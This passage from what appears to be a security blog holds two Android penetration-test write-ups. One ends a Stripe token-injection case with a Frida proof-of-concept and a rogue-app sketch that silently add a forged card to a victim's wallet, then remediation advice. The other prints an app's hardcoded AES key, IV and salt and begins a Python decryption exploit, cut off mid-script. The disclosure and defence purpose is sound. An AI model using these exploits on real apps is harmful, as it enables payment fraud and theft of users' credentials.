            <span class="o">.</span><span class="na">addHeader</span><span class="o">(</span><span class="err">'</span><span class="nc">Authorization</span><span class="err">'</span><span class="o">,</span> <span class="err">'</span><span class="nc">Basic</span> <span class="err">'</span> <span class="o">+</span> <span class="no">B64</span><span class="o">(</span><span class="n">pk</span> <span class="o">+</span> <span class="sc">':'</span><span class="o">))</span>
            <span class="o">.</span><span class="na">build</span><span class="o">();</span>

        <span class="kd">const</span> <span class="n">resp</span> <span class="o">=</span> <span class="nc">OkHttpClient</span><span class="o">.</span><span class="na">newCall</span><span class="o">(</span><span class="nc">Req</span><span class="o">).</span><span class="na">execute</span><span class="o">();</span>
        <span class="k">return</span> <span class="no">JSON</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="n">resp</span><span class="o">.</span><span class="na">body</span><span class="o">().</span><span class="na">string</span><span class="o">()).</span><span class="na">id</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="n">function</span> <span class="nf">injectCard</span><span class="o">(</span><span class="n">tokenId</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">Java</span><span class="o">.</span><span class="na">choose</span><span class="o">(</span><span class="err">'</span><span class="n">com</span><span class="o">.</span><span class="na">REDACTED</span><span class="o">.</span><span class="na">PaymentService</span><span class="err">'</span><span class="o">,</span> <span class="o">{</span>
            <span class="nl">onMatch:</span> <span class="n">svc</span> <span class="o">=&gt;</span> <span class="o">{</span>
                <span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="err">'</span><span class="o">[*]</span> <span class="nc">PaymentService</span> <span class="err">→</span> <span class="err">'</span> <span class="o">+</span> <span class="n">svc</span><span class="o">);</span>
                <span class="kd">const</span> <span class="nc">Callback</span> <span class="o">=</span> <span class="nc">Java</span><span class="o">.</span><span class="na">registerClass</span><span class="o">({</span>
                    <span class="nl">name:</span> <span class="err">'</span><span class="n">x</span><span class="o">.</span><span class="na">CardCallback</span><span class="err">'</span><span class="o">,</span>
                    <span class="kd">implements</span><span class="o">:</span> <span class="o">[</span><span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="err">'</span><span class="n">com</span><span class="o">.</span><span class="na">REDACTED</span><span class="o">.</span><span class="na">DataCallback</span><span class="err">'</span><span class="o">)],</span>
                    <span class="nl">methods:</span> <span class="o">{</span>
                        <span class="nl">onSuccess:</span> <span class="n">_</span> <span class="o">=&gt;</span> <span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="err">'</span><span class="nc">Card</span> <span class="nf">added</span> <span class="o">(</span><span class="no">SUCCESS</span><span class="o">)</span><span class="err">'</span><span class="o">),</span>
                        <span class="nl">onError:</span>   <span class="n">e</span> <span class="o">=&gt;</span> <span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="err">'</span><span class="n">postCard</span> <span class="no">ERROR</span> <span class="err">→</span> <span class="err">'</span> <span class="o">+</span> <span class="n">e</span><span class="o">)</span>
                    <span class="o">}</span>
                <span class="o">});</span>
                <span class="n">svc</span><span class="o">.</span><span class="na">postCard</span><span class="o">(</span><span class="n">tokenId</span><span class="o">,</span> <span class="nc">Callback</span><span class="o">.</span><span class="n">$new</span><span class="o">());</span>
            <span class="o">},</span>
            <span class="nl">onComplete:</span> <span class="o">()</span> <span class="o">=&gt;</span> <span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="err">'</span><span class="o">[*]</span> <span class="nc">Finished</span> <span class="err">–</span> <span class="n">check</span> <span class="n">wallet</span> <span class="no">UI</span><span class="o">.</span><span class="err">'</span><span class="o">)</span>
        <span class="o">});</span>
    <span class="o">}</span>

    <span class="n">mainLoop</span><span class="o">();</span>
<span class="o">});</span>
</code></pre></div></div>

<p>Now it’s just a matter of running it</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>frida <span class="nt">-U</span> <span class="nt">-f</span> com.REDACTED <span class="nt">-l</span> poc.js
</code></pre></div></div>

<p>Once executed, here’s what happens:</p>
<ol>
  <li>The app is spawned and initialized. The <code class="language-plaintext highlighter-rouge">AddCreditCardActivity</code> is triggered in the background (no UI popup).</li>
  <li>The app’s Stripe publishable key is extracted either via runtime hook or fallback resource lookup.</li>
  <li>A fake credit card token is created using Stripe’s public <code class="language-plaintext highlighter-rouge">/v1/tokens</code> API and dummy test card info (<code class="language-plaintext highlighter-rouge">4242 4242 4242 4242</code>).</li>
  <li>The forged token is injected into the user’s account using <code class="language-plaintext highlighter-rouge">PaymentService.postCard()</code>.</li>
  <li>A new card shows up in the victim’s wallet.</li>
</ol>

<p align="center"> 
<img src="frida_01.png" width="1000" />
</p>

<p>No dialogs, no prompts, no authentication, no biometrics. Just a new payment method silently appearing under the victim wallet.</p>

<p align="center"> 
<img src="card.png" width="320" />
</p>

<h2 id="malicious-app">Malicious App</h2>

<p>While Frida makes for a great PoC tool during security testing, what really demonstrate the impact of this vulnerability is that you don’t need Frida at all. Any rogue app running on the same device can exploit this flaw using only standard Android APIs and a bit of Java.</p>

<p>Why It Works Without Frida</p>
<ul>
  <li>The app stores the Stripe publishable key in <code class="language-plaintext highlighter-rouge">res/values/strings.xml</code> making it globally readable.</li>
  <li>The vulnerable method <code class="language-plaintext highlighter-rouge">PaymentService.postCard(tokenId)</code> accepts any valid token, regardless of origin.</li>
  <li>There’s no app-bound authentication, origin check, or token signature verification.</li>
  <li>Activities like <code class="language-plaintext highlighter-rouge">AddCreditCardActivity</code> are exported, enabling inter-app abuse via Intent.</li>
</ul>

<p>This means a malicious app installed on the same device can:</p>
<ul>
  <li>Read the publishable key</li>
  <li>Use it to call Stripe’s API and generate a token</li>
  <li>Invoke the target app’s exported activity</li>
  <li>Inject the token into the authenticated user’s account</li>
</ul>

<p>All without requiring root, Frida, or user interaction!</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">CardInjector</span> <span class="kd">extends</span> <span class="nc">BroadcastReceiver</span> <span class="o">{</span>
    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">onReceive</span><span class="o">(</span><span class="nc">Context</span> <span class="n">context</span><span class="o">,</span> <span class="nc">Intent</span> <span class="n">intent</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">stripeKey</span> <span class="o">=</span> <span class="n">extractStripeKey</span><span class="o">(</span><span class="n">context</span><span class="o">);</span> <span class="c1">// Read from strings.xml</span>
        <span class="nc">String</span> <span class="n">tokenId</span> <span class="o">=</span> <span class="n">getStripeToken</span><span class="o">(</span><span class="n">stripeKey</span><span class="o">);</span>   <span class="c1">// Call Stripe API</span>

        <span class="nc">Intent</span> <span class="n">i</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Intent</span><span class="o">();</span>
        <span class="n">i</span><span class="o">.</span><span class="na">setClassName</span><span class="o">(</span><span class="s">"com.REDACTED"</span><span class="o">,</span>
                       <span class="s">"com.REDACTED.AddCreditCardActivity"</span><span class="o">);</span>
        <span class="n">i</span><span class="o">.</span><span class="na">setFlags</span><span class="o">(</span><span class="nc">Intent</span><span class="o">.</span><span class="na">FLAG_ACTIVITY_NEW_TASK</span><span class="o">);</span>
        <span class="n">context</span><span class="o">.</span><span class="na">startActivity</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>

        <span class="c1">// Optionally, use IPC to invoke postCard() via exposed service</span>
        <span class="c1">// Or trigger token injection via side-channel within app lifecycle</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">String</span> <span class="nf">extractStripeKey</span><span class="o">(</span><span class="nc">Context</span> <span class="n">context</span><span class="o">)</span> <span class="o">{</span>
        <span class="kt">int</span> <span class="n">id</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="na">getResources</span><span class="o">()</span>
                        <span class="o">.</span><span class="na">getIdentifier</span><span class="o">(</span><span class="s">"stripe_publishable_key"</span><span class="o">,</span> <span class="s">"string"</span><span class="o">,</span>
                                        <span class="s">"com.REDACTED.circuitelectrique"</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">context</span><span class="o">.</span><span class="na">getString</span><span class="o">(</span><span class="n">id</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">String</span> <span class="nf">getStripeToken</span><span class="o">(</span><span class="nc">String</span> <span class="n">key</span><span class="o">)</span> <span class="o">{</span>
        <span class="c1">// Make a direct HTTPS call to https://api.stripe.com/v1/tokens</span>
        <span class="c1">// using standard HttpURLConnection or OkHttp with:</span>
        <span class="c1">// card[number]=4242... etc.</span>
        <span class="c1">// Return token_id from JSON</span>
        <span class="k">return</span> <span class="s">"TOKEN_VALUE"</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>After this malicious app runs, the victim opens their wallet and sees a new payment method they never added. And because the token was legitimate (created via Stripe’s own API), the backend trusts it without question.</p>

<p>This attack can be fully automated, triggered in the background, and even obfuscated to run on boot or via scheduled jobs.</p>

<h2 id="recommendations">Recommendations</h2>

<p>This vulnerability highlights a failure to properly validate and bind third-party tokens within a mobile payment flow. To mitigate this and prevent similar abuse, the following remediations should be implemented across both mobile and backend components:</p>

<ul>
  <li>Remove Hardcoded Stripe Keys (Now this is debatable, the publishable key is meant to be access publicly)</li>
  <li>Never store publishable keys in static resources like strings.xml, assets, or shared preferences. Instead, fetch them securely from your backend after user authentication, tied to session/token-based access control.</li>
  <li>On Android, if local caching is required, store them using <code class="language-plaintext highlighter-rouge">EncryptedSharedPreferences</code>.</li>
</ul>

<p><strong>Enforce Token Validation on the Backend</strong></p>

<p>Your backend must not trust client-supplied Stripe tokens blindly. Implement the following checks:</p>

<ul>
  <li>Token provenance = Validate token was created using your app’s session (e.g., include session/user ID in metadata).</li>
  <li>Single-use enforcement = Ensure each token can only be used once (anti-replay).</li>
  <li>Origin binding = Reject tokens not generated from your frontend SDK or associated IP/user agent.</li>
  <li>HMAC/Signature check = Consider appending a signed HMAC to client tokens using a backend-shared secret.</li>
</ul>

<p>Stripe supports metadata fields, use them to inject app-validated session context or nonce into the token creation step and check it server-side.</p>

<p><strong>Session &amp; Token Binding</strong></p>

<ul>
  <li>Introduce a nonce or CSRF token generated by your backend and tied to the user session.</li>
  <li>Require that all card token submissions be accompanied by this nonce.</li>
  <li>Reject any token that lacks a valid nonce or mismatches session context.</li>
</ul>

<p><strong>Harden Inter-App Communication</strong></p>

<p>Mark all sensitive activities (<code class="language-plaintext highlighter-rouge">A</code>ddCreditCardActivity`, etc.) as:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>android:exported="false"
</code></pre></div></div>

<p>Unless absolutely necessary. If exporting is required, enforce strict Intent validation using:</p>
<ul>
  <li>Custom permissions (<code class="language-plaintext highlighter-rouge">android:permission</code>)</li>
  <li>Digital signature verification (if sharing within your own app suite)</li>
</ul>

<p><strong>Instrument Abuse Detection &amp; Logging</strong></p>

<ul>
  <li>Log unexpected or anomalous token submissions (e.g., duplicate tokens, mismatched session data).</li>
  <li>Track usage patterns of Stripe tokens and flag discrepancies.</li>
  <li>Add telemetry around credit card addition flows that bypass expected UI interaction.</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>This vulnerability is a good example of how misunderstanding trust boundaries in third-party SDKs like Stripe can lead to high-impact security flaws. By failing to validate the origin, authenticity, and session binding of payment tokens, the application allowed arbitrary credit card injection into any authenticated user account with zero user interaction.</p>

<p>Whether exploited via Frida or a malicious app, the result is the same: unauthorized payment methods silently added to a user’s wallet, leading to potential fraud, compliance violations, and loss of user trust.</p>

<p>Let’s keep this in mind… :</p>
<ul>
  <li>Stripe publishable keys are not secrets, but they must still be treated with care. Exposing them at runtime or in static resources enables unauthorized token creation.</li>
  <li>Token validation should always happen server-side, with explicit binding to the authenticated session, origin, and user context.</li>
  <li>Assuming the client is trusted is a critical flaw. Any sensitive operation (like adding a payment method) must include validation steps that the mobile app itself cannot forge.</li>
</ul>

<p>In mobile app security, any assumption that “the app will only be used as intended” is dangerous. If the logic lives on the client and the backend doesn’t enforce the rules, attackers will write their own rules…</p>

<p>Validate everything. Trust nothing. Bind everything.</p>]]></content><author><name>Simon Bertrand</name></author><category term="mobile" /><category term="Android" /><category term="token" /><category term="injection" /><summary type="html"><![CDATA[Android - Insecure Stripe Token Handling leads to Arbitrary Card Injection]]></summary></entry><entry><title type="html">Android - Exploiting Hardcoded Cryptography in Biometric Storage</title><link href="/Hardcoded-Crypto/" rel="alternate" type="text/html" title="Android - Exploiting Hardcoded Cryptography in Biometric Storage" /><published>2025-06-28T04:00:00-04:00</published><updated>2025-06-28T04:00:00-04:00</updated><id>/Hardcoded-Crypto</id><content type="html" xml:base="/Hardcoded-Crypto/"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>During a recent mobile app security assessment, I was going through an Android APK using <code class="language-plaintext highlighter-rouge">jadx-gui</code>, a routine part of my reconnaissance workflow. As I went through the decompiled classes, one file caught my attention… a service named <code class="language-plaintext highlighter-rouge">BiometricService</code>.</p>

<p>Curious, I dug deeper.</p>

<p>What I found was a solid case of broken cryptographic design: <strong>hardcoded AES secrets</strong> directly embedded in the codebase, including the encryption key, IV, and salt. All used to protect sensitive biometric login credentials. With just the APK and a copy of the app’s shared preferences, I could decrypt a user’s email and password and completely bypass biometric authentication.</p>

<p>To maintain confidentiality, all identifying information about the client and application has been redacted. However, the vulnerability itself is worth sharing. I think it’s a perfect example of how <strong>insecure cryptographic practices</strong> can undermine an otherwise secure feature like biometric authentication.</p>

<p>This post will walk you through the discovery, exploitation, and remediation of this vulnerability using tools like <strong>Jadx</strong> and <strong>Python</strong>, with a focus on real-world attack paths and defensive coding practices that align with <strong>OWASP MASVS</strong>.</p>

<p>Let’s go!</p>

<h2 id="vulnerability-overview">Vulnerability Overview</h2>

<p>While reversing the BiometricService class, things escalated quickly from “mildly interesting” to “critically broken”.</p>

<p>The app was using <strong>AES in CBC mode with PKCS7 padding</strong> to encrypt sensitive biometric login blobs. Nothing out of the ordinary so far. But then came the kicker: <strong>the entire cryptographic stack was hardcoded</strong> directly in the source code. I’m talking:</p>

<ul>
  <li>base64 encoded <strong>AES key</strong> embedded as a string</li>
  <li>Static <strong>initialization vector (IV)</strong> reused for every encryption operation</li>
  <li>Hardcoded <strong>salt</strong> used with <code class="language-plaintext highlighter-rouge">PBKDF2WithHmacSHA1</code> for key derivation</li>
</ul>

<p>Let’s break this down a bit:</p>

<ul>
  <li><strong>AES/CBC/PKCS7Padding</strong>: AES in CBC (Cipher Block Chaining) mode is deterministic. If the same key and IV are used, the same plaintext always results in the same ciphertext. PKCS7 padding simply make sure that plaintext match with the AES block size (16 bytes), but it doesn’t add any integrity protection. Without an authentication layer (like a MAC or GCM), anyone can tamper with ciphertext silently.</li>
  <li><strong>Static IV reuse</strong>: In CBC mode, the IV should be unique and unpredictable for every encryption operation. Reusing a static IV allows anyone to detect when the same plaintext is encrypted, and in some cases, even launch padding oracle or block-swapping attacks. Here, the IV was fixed, making ciphertext patterns predictable.</li>
  <li><strong>Hardcoded salt in PBKDF2</strong>: Salts are meant to be unique per user and/or per device to make sure that derived keys are different, even if users share the same password or secret. A hardcoded salt defeats this purpose, essentially baking the same derived key into every single app install.</li>
</ul>

<p>It was a complete compromise of the encryption pipeline.</p>

<p>Here’s what this looks like in decompiled Java:</p>

<p align="center"> 
<img src="1.png" width="1000" />
</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kd">public</span> <span class="nf">BiometricService</span><span class="o">(</span><span class="nc">SharedPreferences</span> <span class="n">sharedPreferences</span><span class="o">)</span> <span class="o">{</span>  
        <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNullParameter</span><span class="o">(</span><span class="n">sharedPreferences</span><span class="o">,</span> <span class="s">"sharedPreferences"</span><span class="o">);</span>  
        <span class="k">this</span><span class="o">.</span><span class="na">sharedPreferences</span> <span class="o">=</span> <span class="n">sharedPreferences</span><span class="o">;</span>  
        <span class="k">this</span><span class="o">.</span><span class="na">algorithm</span> <span class="o">=</span> <span class="s">"PBKDF2WithHmacSHA1"</span><span class="o">;</span>  
        <span class="k">this</span><span class="o">.</span><span class="na">secretKey</span> <span class="o">=</span> <span class="s">"tK5UTui+DPh8lIlBxya5XVsmeDCoUl6vHhdIESMB6sQ="</span><span class="o">;</span>  
        <span class="k">this</span><span class="o">.</span><span class="na">salt</span> <span class="o">=</span> <span class="s">"QWlGNHNhMTJTQWZ2bGhpV3U="</span><span class="o">;</span>  
        <span class="k">this</span><span class="o">.</span><span class="na">separatorTag</span> <span class="o">=</span> <span class="s">"[:*:]"</span><span class="o">;</span>  
        <span class="k">this</span><span class="o">.</span><span class="na">transformation</span> <span class="o">=</span> <span class="s">"AES/CBC/PKCS7Padding"</span><span class="o">;</span>  
        <span class="k">this</span><span class="o">.</span><span class="na">iv</span> <span class="o">=</span> <span class="s">"bVQzNFNhRkQ1Njc4UUFaWA=="</span><span class="o">;</span>  
        <span class="k">this</span><span class="o">.</span><span class="na">biometricData</span> <span class="o">=</span> <span class="s">"BiometricData"</span><span class="o">;</span>  
        <span class="k">this</span><span class="o">.</span><span class="na">biometricDataEnabled</span> <span class="o">=</span> <span class="s">"BiometricDataEnabled"</span><span class="o">;</span>  
    <span class="o">}</span>
</code></pre></div></div>

<p>The biometric blob was stored in the app’s <strong>shared_prefs</strong> directory under the key <strong>BiometricData</strong>, like so:</p>

<blockquote>
  <p><strong><em>“To demonstrate the forgery path without disclosing any sensitive data, I generated a custom biometric blob for the credentials</em> <code class="language-plaintext highlighter-rouge">example@example.com[:*:]Password123!</code> <em>using the app’s own encryption logic.”</em></strong></p>
</blockquote>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;string</span> <span class="na">name=</span><span class="s">"BiometricData"</span><span class="nt">&gt;</span>
aoZw+lyPI9gjZ/Emgq3FERZPf2qdOJTKP27jpAaVMsezaA1P8dwE9I42q9ZMmUUR
<span class="nt">&lt;/string&gt;</span>
</code></pre></div></div>

<p>Having the APK and a single shared preferences file, I was able to extract the <strong>user’s email and plaintext password</strong> by recreating the decryption logic in Python based on the encrypt and decrypt methods inside the <strong>BiometricService</strong> class.</p>

<p>Here’s how those methods work:</p>

<h3 id="encrypt-method">Encrypt method:</h3>

<p>This method takes a plaintext string (like an email or password).</p>

<ol>
  <li>Decodes the <strong>hardcoded IV</strong> from Base64.</li>
  <li>Converts the <strong>hardcoded key</strong> string into a <code class="language-plaintext highlighter-rouge">char[]</code>.</li>
  <li>Uses <code class="language-plaintext highlighter-rouge">PBKDF2WithHmacSHA1</code> with the hardcoded salt, key, 10,000 iterations, and 256-bit output to derive the final AES key.</li>
  <li>Initializes a Cipher object with <strong>AES/CBC/PKCS7Padding</strong> in encryption mode <code class="language-plaintext highlighter-rouge">(cipher.init(1, ...))</code>.</li>
  <li>Encrypts the UTF-8 plaintext and Base64-encodes the result for storage.</li>
</ol>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kd">public</span> <span class="kd">final</span> <span class="nc">String</span> <span class="nf">encrypt</span><span class="o">(</span><span class="nc">String</span> <span class="n">strToEncrypt</span><span class="o">)</span> <span class="o">{</span>  
        <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNullParameter</span><span class="o">(</span><span class="n">strToEncrypt</span><span class="o">,</span> <span class="s">"strToEncrypt"</span><span class="o">);</span>  
        <span class="k">try</span> <span class="o">{</span>  
            <span class="nc">IvParameterSpec</span> <span class="n">ivParameterSpec</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">IvParameterSpec</span><span class="o">(</span><span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">iv</span><span class="o">,</span> <span class="mi">0</span><span class="o">));</span>  
            <span class="nc">SecretKeyFactory</span> <span class="n">secretKeyFactory</span> <span class="o">=</span> <span class="nc">SecretKeyFactory</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">algorithm</span><span class="o">);</span>  
            <span class="kt">char</span><span class="o">[]</span> <span class="n">charArray</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">secretKey</span><span class="o">.</span><span class="na">toCharArray</span><span class="o">();</span>  
            <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNullExpressionValue</span><span class="o">(</span><span class="n">charArray</span><span class="o">,</span> <span class="s">"toCharArray(...)"</span><span class="o">);</span>  
            <span class="nc">SecretKeySpec</span> <span class="n">secretKeySpec</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">SecretKeySpec</span><span class="o">(</span><span class="n">secretKeyFactory</span><span class="o">.</span><span class="na">generateSecret</span><span class="o">(</span><span class="k">new</span> <span class="nc">PBEKeySpec</span><span class="o">(</span><span class="n">charArray</span><span class="o">,</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">salt</span><span class="o">,</span> <span class="mi">0</span><span class="o">),</span> <span class="nc">NetworkImageDecoder</span><span class="o">.</span><span class="na">IMAGE_STREAM_TIMEOUT</span><span class="o">,</span> <span class="mi">256</span><span class="o">)).</span><span class="na">getEncoded</span><span class="o">(),</span> <span class="s">"AES"</span><span class="o">);</span>  
            <span class="nc">Cipher</span> <span class="n">cipher</span> <span class="o">=</span> <span class="nc">Cipher</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">transformation</span><span class="o">);</span>  
            <span class="n">cipher</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="mi">1</span><span class="o">,</span> <span class="n">secretKeySpec</span><span class="o">,</span> <span class="n">ivParameterSpec</span><span class="o">);</span>  
            <span class="kt">byte</span><span class="o">[]</span> <span class="n">bytes</span> <span class="o">=</span> <span class="n">strToEncrypt</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(</span><span class="nc">Charsets</span><span class="o">.</span><span class="na">UTF_8</span><span class="o">);</span>  
            <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNullExpressionValue</span><span class="o">(</span><span class="n">bytes</span><span class="o">,</span> <span class="s">"getBytes(...)"</span><span class="o">);</span>  
            <span class="k">return</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">encodeToString</span><span class="o">(</span><span class="n">cipher</span><span class="o">.</span><span class="na">doFinal</span><span class="o">(</span><span class="n">bytes</span><span class="o">),</span> <span class="mi">0</span><span class="o">);</span>  
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>  
            <span class="nc">Log</span><span class="o">.</span><span class="na">e</span><span class="o">(</span><span class="s">"encrypt"</span><span class="o">,</span> <span class="s">"Error while encrypting: "</span> <span class="o">+</span> <span class="n">e</span><span class="o">);</span>  
            <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>  
        <span class="o">}</span>  
    <span class="o">}</span>
</code></pre></div></div>

<h3 id="decrypt-method">Decrypt method:</h3>

<p>The decryption method is just the opposite of the encrypt method:</p>

<ol>
  <li>Decodes the same <strong>hardcoded IV</strong>.</li>
  <li>Derives the AES key using the same hardcoded inputs and <code class="language-plaintext highlighter-rouge">PBKDF2</code> parameters.</li>
  <li>Initializes the cipher in decryption mode <code class="language-plaintext highlighter-rouge">(cipher.init(2, ...))</code>.</li>
  <li>Base64-decodes the encrypted blob and decrypts it, submit the original plaintext string.</li>
</ol>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kd">public</span> <span class="kd">final</span> <span class="nc">String</span> <span class="nf">decrypt</span><span class="o">(</span><span class="nc">String</span> <span class="n">strToDecrypt</span><span class="o">)</span> <span class="o">{</span>  
        <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNullParameter</span><span class="o">(</span><span class="n">strToDecrypt</span><span class="o">,</span> <span class="s">"strToDecrypt"</span><span class="o">);</span>  
        <span class="k">try</span> <span class="o">{</span>  
            <span class="nc">IvParameterSpec</span> <span class="n">ivParameterSpec</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">IvParameterSpec</span><span class="o">(</span><span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">iv</span><span class="o">,</span> <span class="mi">0</span><span class="o">));</span>  
            <span class="nc">SecretKeyFactory</span> <span class="n">secretKeyFactory</span> <span class="o">=</span> <span class="nc">SecretKeyFactory</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">algorithm</span><span class="o">);</span>  
            <span class="kt">char</span><span class="o">[]</span> <span class="n">charArray</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">secretKey</span><span class="o">.</span><span class="na">toCharArray</span><span class="o">();</span>  
            <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNullExpressionValue</span><span class="o">(</span><span class="n">charArray</span><span class="o">,</span> <span class="s">"toCharArray(...)"</span><span class="o">);</span>  
            <span class="nc">SecretKeySpec</span> <span class="n">secretKeySpec</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">SecretKeySpec</span><span class="o">(</span><span class="n">secretKeyFactory</span><span class="o">.</span><span class="na">generateSecret</span><span class="o">(</span><span class="k">new</span> <span class="nc">PBEKeySpec</span><span class="o">(</span><span class="n">charArray</span><span class="o">,</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">salt</span><span class="o">,</span> <span class="mi">0</span><span class="o">),</span> <span class="nc">NetworkImageDecoder</span><span class="o">.</span><span class="na">IMAGE_STREAM_TIMEOUT</span><span class="o">,</span> <span class="mi">256</span><span class="o">)).</span><span class="na">getEncoded</span><span class="o">(),</span> <span class="s">"AES"</span><span class="o">);</span>  
            <span class="nc">Cipher</span> <span class="n">cipher</span> <span class="o">=</span> <span class="nc">Cipher</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">transformation</span><span class="o">);</span>  
            <span class="n">cipher</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="mi">2</span><span class="o">,</span> <span class="n">secretKeySpec</span><span class="o">,</span> <span class="n">ivParameterSpec</span><span class="o">);</span>  
            <span class="kt">byte</span><span class="o">[]</span> <span class="n">doFinal</span> <span class="o">=</span> <span class="n">cipher</span><span class="o">.</span><span class="na">doFinal</span><span class="o">(</span><span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="n">strToDecrypt</span><span class="o">,</span> <span class="mi">0</span><span class="o">));</span>  
            <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNullExpressionValue</span><span class="o">(</span><span class="n">doFinal</span><span class="o">,</span> <span class="s">"doFinal(...)"</span><span class="o">);</span>  
            <span class="k">return</span> <span class="k">new</span> <span class="nf">String</span><span class="o">(</span><span class="n">doFinal</span><span class="o">,</span> <span class="nc">Charsets</span><span class="o">.</span><span class="na">UTF_8</span><span class="o">);</span>  
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>  
            <span class="nc">Log</span><span class="o">.</span><span class="na">e</span><span class="o">(</span><span class="s">"decrypt"</span><span class="o">,</span> <span class="s">"Error while decrypting: "</span> <span class="o">+</span> <span class="n">e</span><span class="o">);</span>  
            <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>  
        <span class="o">}</span>  
    <span class="o">}</span>
</code></pre></div></div>

<p>Because the cryptographic materials were static and globally reused, anyone could craft valid encrypted blobs and inject them back into the app, impersonating other users and bypassing biometric checks altogether. it was a full-on authentication bypass.</p>

<h2 id="exploit">Exploit</h2>

<p>Both of these methods were essential to build a working exploit script outside the app. Because the encryption and decryption flows were symmetric and completely deterministic (use of static keys, IV, and salt) it was just a matter of building the logic in Python.</p>

<p>From these methods, I could work out:</p>

<ul>
  <li>The KDF parameters (<code class="language-plaintext highlighter-rouge">PBKDF2-HMAC-SHA</code>, 10k iterations, 256-bit output)</li>
  <li>The block cipher mode (<code class="language-plaintext highlighter-rouge">AES/CBC/PKCS7Padding</code>)</li>
  <li>The exact structure and format of the inputs and outputs (Base64, UTF-8)</li>
</ul>

<p>With that information, the script became a simple translation of the Java logic:</p>

<ul>
  <li>Load the hardcoded values</li>
  <li>Derive the AES key with <code class="language-plaintext highlighter-rouge">hashlib.pbkdf2_hmac</code></li>
  <li>Decrypt the Base64 blob using <code class="language-plaintext highlighter-rouge">PyCryptodome’s AES.new(...).decrypt()</code></li>
  <li>Unpad and decode the result to reveal the plaintext credentials. Money.</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">import</span> <span class="nn">base64</span><span class="p">,</span> <span class="n">argparse</span><span class="p">,</span> <span class="n">hashlib</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">unpad</span>

<span class="n">SECRET_STR</span> <span class="o">=</span> <span class="s">"tK5UTui+DPh8lIlBxya5XVsmeDCoUl6vHhdIESMB6sQ="</span>
<span class="n">SALT_B64</span>   <span class="o">=</span> <span class="s">"QWlGNHNhMTJTQWZ2bGhpV3U="</span>
